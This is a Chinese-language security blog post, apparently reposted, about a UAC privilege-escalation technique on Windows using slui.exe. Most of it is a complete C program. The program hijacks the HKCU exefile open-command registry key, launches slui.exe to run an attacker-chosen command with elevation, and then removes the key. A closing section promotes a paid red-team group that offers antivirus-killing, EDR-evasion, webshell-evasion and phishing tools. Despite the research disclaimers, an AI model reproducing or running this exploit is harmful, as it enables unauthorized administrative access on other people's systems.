文章总结: 本文介绍了一种利用Windows白名单进程slui.exe进行UAC提权的方法。通过修改注册表中exefile关联键值,劫持可执行文件打开方式,触发slui.exe的autoElevate属性实现高权限命令执行。文章提供了完整的C语言实现代码,包括注册表操作、进程启动和清理流程。该技术属于已公开的UAC绕过手法,适用于红队渗透测试场景,文末附带付费圈子推广内容。 综合评分: 70 文章分类: 内网渗透,红队,渗透测试,免杀,软文广告
【UAC提权】白名单进程提权手法
原创
Hello888 Hello888
安全天书
2026年3月5日 10:01 广西
0x01 声明
本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担!!!
0x02 UAC介绍
slui.exe是一个具备autoElevate属性的微软自带工具,具有微软签名。该程序在执行过程中会将注册表的内容当作命令执行。
0x03 代码实现
#include <windows.h>#include <stdio.h>#include <stdlib.h>#pragma comment(lib, "advapi32.lib")#pragma comment(lib, "shell32.lib")// 注册表路径#define EXEFILE_REG_PATH L"Software\\Classes\\exefile\\Shell\\Open\\command"// 函数声明BOOL CreateExefileRegistryKey(LPCWSTR encodedCommand);BOOL RunSluiAndWait(void);BOOL CleanupExefileRegistry(void);BOOL IsElevated(void);void ShowLastError(const char* msg);void EncodeCommand(LPWSTR lpBuffer, DWORD dwSize, LPCWSTR lpCommand);// 显示最后一次错误信息void ShowLastError(const char* msg) { DWORD errorCode = GetLastError(); LPWSTR errorMessage = NULL; FormatMessageW( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, errorCode, 0, (LPWSTR)&errorMessage, 0, NULL ); if (errorMessage) { printf("[!] %s 失败,错误代码: %lu - %ws\n", msg, errorCode, errorMessage); LocalFree(errorMessage); } else { printf("[!] %s 失败,错误代码: %lu\n", msg, errorCode); }}// 检查当前进程是否以管理员权限运行BOOL IsElevated(void) { BOOL fRet = FALSE; HANDLE hToken = NULL; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { TOKEN_ELEVATION elevation; DWORD cbSize = sizeof(TOKEN_ELEVATION); if (GetTokenInformation(hToken, TokenElevation, &elevation, cbSize, &cbSize)) { fRet = elevation.TokenIsElevated; } CloseHandle(hToken); } return fRet;}// 编码/构造要执行的命令// 默认格式: cmd.exe /c 要执行的命令void EncodeCommand(LPWSTR lpBuffer, DWORD dwSize, LPCWSTR lpCommand) { if (lpCommand == NULL || wcslen(lpCommand) == 0) { // 默认命令:打开管理员命令行窗口 wcscpy_s(lpBuffer, dwSize, L"cmd.exe /k echo UAC Bypass Success! && whoami"); } else { // 使用用户指定的命令 swprintf_s(lpBuffer, dwSize, L"cmd.exe /c %s", lpCommand); }}// 创建exefile注册表键并设置命令BOOL CreateExefileRegistryKey(LPCWSTR encodedCommand) { HKEY hKey; DWORD dwDisposition; LONG result; BOOL success = FALSE; printf("[*] 打开注册表路径: HKCU\\Software\\Classes\\\n"); // 打开 Software\Classes 键 result = RegCreateKeyExW( HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\Shell\\Open\\command", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | KEY_CREATE_SUB_KEY, NULL, &hKey, &dwDisposition ); if (result != ERROR_SUCCESS) { printf("[!] 创建/打开注册表键失败,错误: %ld\n", result); return FALSE; } printf("[*] 键状态: %s\n", (dwDisposition == REG_CREATED_NEW_KEY) ? "新建" : "已存在"); // 设置默认值为编码后的命令 result = RegSetValueExW(hKey, L"", 0, REG_SZ, (const BYTE*)encodedCommand, (wcslen(encodedCommand) + 1) * sizeof(WCHAR)); if (result == ERROR_SUCCESS) { printf("[+] 已设置默认值: %ws\n", encodedCommand); success = TRUE; } else { printf("[!] 设置注册表值失败,错误: %ld\n", result); } RegCloseKey(hKey); return success;}// 运行slui.exe并等待10秒BOOL RunSluiAndWait(void) { SHELLEXECUTEINFOW sei = { 0 }; BOOL result; HANDLE hProcess = NULL; printf("[*] 正在启动 slui.exe 并请求管理员权限...\n"); sei.cbSize = sizeof(SHELLEXECUTEINFOW); sei.fMask = SEE_MASK_NOCLOSEPROCESS; // 获取进程句柄以便等待 sei.lpVerb = L"runas"; // 使用runas动词请求管理员权限 sei.lpFile = L"C:\\windows\\system32\\slui.exe"; sei.nShow = SW_HIDE; // 隐藏窗口 result = ShellExecuteExW(&sei); if (!result) { ShowLastError("ShellExecuteExW"); return FALSE; } hProcess = sei.hProcess; printf("[+] slui.exe 已启动,进程句柄: %p\n", hProcess); if (hProcess) { printf("[*] 等待 10 秒钟...\n"); // 等待10秒 (10000毫秒) DWORD waitResult = WaitForSingleObject(hProcess, 10000); if (waitResult == WAIT_OBJECT_0) { printf("[*] slui.exe 已退出\n"); } else if (waitResult == WAIT_TIMEOUT) { printf("[*] 等待超时 (10秒)\n"); } else { printf("[!] 等待进程时出错\n"); } CloseHandle(hProcess); } return TRUE;}// 清理exefile注册表键BOOL CleanupExefileRegistry(void) { LONG result; printf("[*] 正在清理注册表...\n"); // 先删除command子键 result = RegDeleteKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\Shell\\Open\\command"); if (result != ERROR_SUCCESS && result != ERROR_FILE_NOT_FOUND) { printf("[!] 删除command子键失败,错误: %ld\n", result); } // 删除Shell键 result = RegDeleteKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\exefile\\Shell"); if (result != ERROR_SUCCESS && result != ERROR_FILE_NOT_FOUND) { printf("[!] 删除Shell键失败,错误: %ld\n", result); } // 删除exefile键 result = RegDeleteKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\exefile"); if (result == ERROR_SUCCESS || result == ERROR_FILE_NOT_FOUND) { printf("[+] 注册表清理完成\n"); return TRUE; } else { printf("[!] 清理注册表失败,错误: %ld\n", result); return FALSE; }}// 显示当前exefile注册表值void ShowCurrentExefileValue(void) { HKEY hKey; WCHAR szValue[1024] = L""; DWORD dwSize = sizeof(szValue); LONG result; result = RegOpenKeyExW(HKEY_CURRENT_USER, EXEFILE_REG_PATH, 0, KEY_READ, &hKey); if (result == ERROR_SUCCESS) { result = RegQueryValueExW(hKey, L"", NULL, NULL, (LPBYTE)szValue, &dwSize); if (result == ERROR_SUCCESS) { printf("[*] 当前exefile注册表值: %ws\n", szValue); } else { printf("[*] 当前exefile注册表值不存在或无法读取\n"); } RegCloseKey(hKey); } else { printf("[*] exefile注册表键不存在\n"); }}int main(int argc, char* argv[]) { WCHAR encodedCommand[1024] = L""; WCHAR userCommand[1024] = L""; int i; printf("[*] UAC绕过工具 - 通过修改exefile注册表关联劫持可执行文件\n"); printf("[*] 当前进程ID: %lu\n", GetCurrentProcessId()); // 检查是否已经是管理员权限 if (IsElevated()) { printf("[+] 当前已是管理员权限\n"); } else { printf("[*] 当前不是管理员权限\n"); } // 显示当前exefile注册表值 ShowCurrentExefileValue(); // 获取用户指定的命令(如果有) if (argc > 1) { // 将命令行参数拼接成字符串 wcscpy_s(userCommand, 1024, L""); for (i = 1; i < argc; i++) { if (i > 1) { wcscat_s(userCommand, 1024, L" "); } // 转换char*到WCHAR* WCHAR wArg[256]; MultiByteToWideChar(CP_ACP, 0, argv[i], -1, wArg, 256); wcscat_s(userCommand, 1024, wArg); } printf("[*] 用户指定的命令: %ws\n", userCommand); } else { printf("[*] 未指定命令,使用默认命令\n"); } // 编码/构造要执行的命令 EncodeCommand(encodedCommand, 1024, (argc > 1) ? userCommand : NULL); printf("[*] 编码后的命令: %ws\n", encodedCommand); printf("\n[*] 步骤1: 创建exefile注册表键并设置命令\n"); // 创建exefile注册表键并设置命令 if (!CreateExefileRegistryKey(encodedCommand)) { printf("[!] 创建注册表键失败,退出\n"); system("pause"); return 1; } printf("\n[*] 步骤2: 启动slui.exe触发UAC提权\n"); // 运行slui.exe并等待10秒 if (!RunSluiAndWait()) { printf("[!] 启动slui.exe失败\n"); CleanupExefileRegistry(); system("pause"); return 1; } printf("\n[*] 步骤3: 清理注册表\n"); // 删除注册表键 CleanupExefileRegistry(); printf("\n[+] UAC绕过完成!\n"); printf("[*] 说明: 当任何exe文件被运行时,将执行指定的命令\n"); printf("[*] 注意: 这个修改可能会影响系统正常运行\n"); system("pause"); return 0;}
0x04 红蓝偶像练习生小圈子
圈子主要研究方向渗透测试、红蓝对抗、钓鱼手法思路、武器化作,红队工具二开与免杀。圈内不定期分享红队技术文章,攻防经验总结,学习笔记以及自研工具与插件,目前圈子已满300人,欢迎各位进圈子交流学习!****
**圈子目前更新相关技术文章:
* HeavenlyBypassAV内部版-轻松免杀各大杀软
-
Heavenly白加黑自动化生成免杀工具
-
冰蝎webshell免杀工具
-
哥斯拉webshell免杀工具
-
红队场景下lnk钓鱼Bypass国内AV
-
Frp免杀隧道工具
-
1day和0dayPOC
-
lnk钓鱼思路视频讲解
-
lnk钓鱼Bypass天擎
-
msi钓鱼
-
chm钓鱼
-
Kill360核晶
-
AV对抗-致盲AV(核晶)
-
捆绑免杀360
-
Kill火绒
-
火绒6.0内存免杀
-
kill-windows Defender
-
Defender分离免杀
-
Defender知识点
-
HeavenlyProtectionCS内部CS插件
-
EDR对抗思路
-
进程注入知识点
-
自启动思路
-
多种维权手法
-
Fscan免杀核晶
-
QVM解决思路
-
红队思路-钓鱼环境下小窗口截屏窃取
-
免杀Todesk/向日葵读取工具
-
渗透测试文章思路
-
内网对抗文章思路
-
还有更多红队思路文章!期待您的加入!!!**
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全天书 Hello888 Hello888《【UAC提权】白名单进程提权手法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论